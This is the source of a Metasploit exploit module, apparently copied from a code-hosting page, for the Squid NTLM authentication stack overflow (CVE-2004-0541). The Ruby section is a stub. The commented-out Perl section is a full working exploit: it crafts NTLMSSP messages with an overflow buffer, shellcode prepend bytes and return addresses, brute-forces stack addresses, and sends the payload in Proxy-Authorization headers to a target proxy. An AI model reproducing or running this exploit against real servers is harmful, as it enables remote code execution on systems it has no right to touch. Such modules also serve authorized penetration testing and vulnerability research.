302 lines
7.7 KiB
Ruby
302 lines
7.7 KiB
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Squid NTLM Authenticate Overflow',
|
|
'Description' => %q{
|
|
This is an exploit for Squid's NTLM authenticate overflow
|
|
(libntlmssp.c). Due to improper bounds checking in
|
|
ntlm_check_auth, it is possible to overflow the 'pass'
|
|
variable on the stack with user controlled data of a user
|
|
defined length. Props to iDEFENSE for the advisory.
|
|
|
|
},
|
|
'Author' => [ 'skape' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '6791'],
|
|
[ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
|
|
[ 'CVE', '2004-0541'],
|
|
[ 'MIL', '67'],
|
|
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 256,
|
|
'BadChars' => "",
|
|
'MinNops' => 16,
|
|
'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
|
|
'PrependEncoder' => "\x83\xec\x7f",
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Automatic Targetting',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Ret' => 0x0,
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Jun 8 2004',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
=begin
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be redistributed
|
|
# according to the licenses defined in the Authors field below. In the
|
|
# case of an unknown or missing license, this file defaults to the same
|
|
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
|
# version of the Framework can always be obtained from metasploit.com.
|
|
##
|
|
|
|
package Msf::Exploit::squid_ntlm_authenticate;
|
|
|
|
use strict;
|
|
use base "Msf::Exploit";
|
|
use Pex::Text;
|
|
|
|
my $advanced =
|
|
{
|
|
'StackBottom' => [ '0xbfffcfbc', 'Start address for stack ret.' ],
|
|
'StackTop' => [ '0xbffffffc', 'Stop address for stack ret.' ],
|
|
'StackStep' => [ 0, 'Number of bytes to increment between steps.'],
|
|
'BruteWait' => [ 15, "Length of time to wait between brutes. " .
|
|
"15 is recommend as squid has a failure " .
|
|
"count tracker to exit on many segvs" ],
|
|
};
|
|
|
|
my $info =
|
|
{
|
|
'Name' => 'Squid NTLM Authenticate Overflow',
|
|
'Version' => '$Revision$',
|
|
'Authors' =>
|
|
[
|
|
'skape <mmiller [at] hick.org>'
|
|
],
|
|
|
|
'Description' =>
|
|
Pex::Text::Freeform(qq{
|
|
This is an exploit for Squid's NTLM authenticate overflow (libntlmssp.c).
|
|
Due to improper bounds checking in ntlm_check_auth, it is possible to
|
|
overflow the 'pass' variable on the stack with user controlled data of
|
|
a user defined length. Props to iDEFENSE for the advisory.
|
|
}),
|
|
|
|
'Arch' => [ 'x86' ],
|
|
'OS' => [ 'linux' ],
|
|
'Priv' => 0,
|
|
|
|
'UserOpts' =>
|
|
{
|
|
'RHOST' => [ 1, 'ADDR', 'The target proxy server address' ],
|
|
'RPORT' => [ 1, 'PORT', 'The target proxy server port' ],
|
|
},
|
|
|
|
'Payload' =>
|
|
{
|
|
'Space' => 300 - 44, # can be more, but requires code mod
|
|
'MinNops' => 16,
|
|
'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
|
|
'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e" . # signal(SIGALRM, SIG_IGN)
|
|
"\xb0\x30\x41\xcd\x80",
|
|
},
|
|
|
|
'Refs' =>
|
|
[
|
|
['OSVDB', '6791'],
|
|
['URL', 'http://www.idefense.com/application/poi/display?id=107'],
|
|
['CVE', '2004-0541'],
|
|
['MIL', '67'],
|
|
],
|
|
|
|
'Targets' =>
|
|
[
|
|
[ 'Bruteforce', 0x0, 0x0 ],
|
|
[ 'Squid 2.5 STABLE5 and below (Debian/Linux)', 0xbfffd48c, 0xbfffd468 ],
|
|
],
|
|
|
|
'Keys' => ['squid'],
|
|
|
|
'DisclosureDate' => 'Jun 8 2004',
|
|
};
|
|
|
|
sub new
|
|
{
|
|
my $class = shift;
|
|
my $self;
|
|
|
|
$self = $class->SUPER::new(
|
|
{
|
|
'Info' => $info,
|
|
'Advanced' => $advanced,
|
|
},
|
|
@_);
|
|
|
|
return $self;
|
|
}
|
|
|
|
sub Exploit
|
|
{
|
|
my $self = shift;
|
|
my $targetIdx = $self->GetVar('TARGET');
|
|
my $payload = $self->GetVar('EncodedPayload');
|
|
my $shellcode = $payload->Payload;
|
|
my $target = $self->Targets->[$targetIdx];
|
|
my $ret = $target->[1];
|
|
my $valid = $target->[2];
|
|
my $s = undef;
|
|
|
|
$self->PrintLine('[*] Trying exploit target ' . $target->[0]);
|
|
|
|
if ($target->[0] eq 'Bruteforce')
|
|
{
|
|
my $stackTop = hex($self->GetLocal('StackTop'));
|
|
my $stackBottom = hex($self->GetLocal('StackBottom'));
|
|
my $stackStep = $self->GetLocal('StackStep');
|
|
my $wait = $self->GetLocal('BruteWait');
|
|
|
|
$stackStep = $payload->NopsLength if ($stackStep == 0);
|
|
|
|
for ($ret = $stackBottom, $valid = $stackBottom - 0x20;
|
|
$ret < $stackTop;
|
|
$ret += $stackStep, $valid += $stackStep)
|
|
{
|
|
$self->PrintLine(sprintf("[*] Trying %.8x...", $ret));
|
|
|
|
last if (defined($s = $self->transmitExploit(target => $target,
|
|
shellcode => $shellcode, ret => $ret, valid => $valid)));
|
|
|
|
sleep($wait);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
$s = $self->transmitExploit(target => $target,
|
|
shellcode => $shellcode, ret => $ret, valid => $valid);
|
|
}
|
|
|
|
$self->Handler($s) if (defined($s));
|
|
}
|
|
|
|
sub transmitExploit
|
|
{
|
|
my $self = shift;
|
|
my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
|
|
my $targetHost = $self->GetVar('RHOST');
|
|
my $targetPort = $self->GetVar('RPORT');
|
|
my $bof = "A" x 0x20 . pack("V", $ret) . pack("V", $valid) . "\xff\x00\x00\x00";
|
|
my $passLen = pack("v", length($bof) + length($shellcode));
|
|
|
|
my $negotiate =
|
|
"NTLMSSP\x00" . # NTLMSSP identifier
|
|
"\x01\x00\x00\x00" . # NTLMSSP_NEGOTIATE
|
|
"\x07\x00\xb2\x07" . # flags
|
|
"\x01\x00\x09\x00" . # workgroup len/max (1)
|
|
"\x01\x00\x00\x00" . # workgroup offset (1)
|
|
"\x01\x00\x03\x00" . # workstation len/max (1)
|
|
"\x01\x00\x00\x00" ; # workstation offset (1)
|
|
my $authenticate =
|
|
"NTLMSSP\x00" . # NTLMSSP identifier
|
|
"\x03\x00\x00\x00" . # NTLMSSP_AUTHENTICATE
|
|
$passLen . $passLen . # lanman response len/max
|
|
"\x38\x00\x00\x00" . # lanman response offset (56)
|
|
"\x01\x00\x01\x00" . # nt response len/max (1)
|
|
"\x01\x00\x00\x00" . # nt response offset (1)
|
|
"\x01\x00\x01\x00" . # domain name len/max (1)
|
|
"\x01\x00\x00\x00" . # domain name offset (1)
|
|
"\x01\x00\x01\x00" . # user name (1)
|
|
"\x01\x00\x00\x00" . # user name offset (1)
|
|
"\x00\x00\x00\x00" . # session key
|
|
"\x8b\x00\x00\x00" . # session key
|
|
"\x06\x82\x00\x02" . # flags
|
|
$bof . $shellcode;
|
|
|
|
my $s = Msf::Socket::Tcp->new
|
|
(
|
|
'PeerAddr' => $targetHost,
|
|
'PeerPort' => $targetPort,
|
|
'LocalPort' => $self->GetVar('CPORT'),
|
|
'SSL' => $self->GetVar('SSL'),
|
|
);
|
|
|
|
if ($s->IsError) {
|
|
$self->PrintLine('Error creating socket: '.$s->GetError);
|
|
return;
|
|
}
|
|
|
|
$self->PrintLine('[*] Sending NTLMSSP_NEGOTIATE (' . length($negotiate) . ' bytes)');
|
|
|
|
# Transmit NTLMSSP negotiate
|
|
if (not defined($self->transmitHttpRequest(
|
|
s => $s,
|
|
buffer => $negotiate)))
|
|
{
|
|
$self->PrintLine('[-] Server did not send a response -- exploit failed.');
|
|
return undef;
|
|
}
|
|
|
|
$self->PrintLine('[*] Sending NTLMSSP_AUTHENTICATE (' . length($authenticate) . ' bytes)');
|
|
|
|
# Transmit NTLMSSP authenticate
|
|
if (defined($self->transmitHttpRequest(
|
|
s => $s,
|
|
buffer => $authenticate)))
|
|
{
|
|
return undef;
|
|
}
|
|
|
|
return $s;
|
|
}
|
|
|
|
sub transmitHttpRequest
|
|
{
|
|
my $self = shift;
|
|
my ($s, $buffer) = @{{@_}}{qw/s buffer/};
|
|
my $encoded = Pex::Text::Base64Encode($buffer);
|
|
my $response;
|
|
|
|
$encoded =~ s/\n//gm;
|
|
|
|
$s->Send("GET http://www.metasplizoit.com HTTP/1.0\r\n");
|
|
$s->Send("Proxy-Connection: Keep-Alive\r\n");
|
|
$s->Send("Proxy-Authorization: NTLM $encoded\r\n");
|
|
$s->Send("\r\n");
|
|
|
|
# Read a response, wait 5 seconds...
|
|
while (defined($response = $s->Recv(-1, 5)))
|
|
{
|
|
last if ($response =~ "\r\n\r\n" or length($response) == 0);
|
|
}
|
|
|
|
$response = '' if ($s->GetError());
|
|
|
|
return $response;
|
|
}
|
|
|
|
1;
|
|
|
|
=end
|
|
|
|
|
|
end
|
|
end
|